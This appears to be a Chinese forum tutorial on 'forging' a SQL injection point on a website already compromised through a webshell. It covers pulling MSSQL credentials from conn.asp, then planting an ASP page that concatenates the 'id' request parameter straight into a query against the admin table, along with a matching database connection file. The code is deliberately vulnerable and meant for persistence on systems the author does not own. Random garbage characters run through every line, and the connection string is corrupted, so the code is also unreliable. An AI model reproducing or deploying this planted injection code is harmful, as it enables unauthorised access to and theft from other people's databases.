首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
# s! b$ K' v7 V0 {$ ?% jASP/Visual Basic代码( I1 L( g/ U4 M8 i4 H4 h& s
<!--#include file="xx.asp"-->
6 H, U7 q% f9 r2 g9 e$ x l, @3 F<%
% f' G }0 j3 }# z eset rs=server.createobject("ADODB.recordset")
4 i3 r: f' l. ]* _id = request("id")
8 x/ I I( Z, bstrSQL = "select * from admin where id=" & id D1 |; R' L4 B2 ?* p1 P
rs.open strSQL,conn,1,3
' N/ X8 z9 G" M8 x7 ?6 T& |# P1 q7 yrs.close 8 o+ ?+ f1 a7 _. E7 f0 N- t
%>
' H7 R& C$ L! Q7 T( E U* E把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!0 h# \6 G" |5 R, a2 r
然后就要构造一个连接数据库的文件了,代码如下: ]$ w; I6 J& ^2 H( P6 ]4 {
ASP/Visual Basic代码- A k9 G+ U0 _$ c0 h8 W. L5 D6 R0 W
<%
0 W9 `" r: j* k# y4 OstrSQLServerName = "000.000.000.000" '服务器名称或地址 ( s+ s5 Z' L) \& Y; o! K
strSQLDBUserName = "sqlname" '数据库帐号 1 Z! [7 v! Y% b* C
strSQLDBPassword = "sqlpass" '数据库密码 , n6 H- y6 q9 }7 H
strSQLDBName = "sqldataname" '数据库名称
8 N2 x2 p+ k: L$ \Set conn = Server.CreateObject("ADODB.Connection")
6 J9 t, V3 r9 \9 y& D/ qstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
" ^* O7 q0 r8 t0 T2 r( x& Wconn.open strCon
2 ` q9 f: |7 T; t4 e9 H* m8 p) N4 \%>
! H# O8 q" p! q& \: `这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功5 O+ S6 v0 P$ X( R7 {2 c+ a, o
|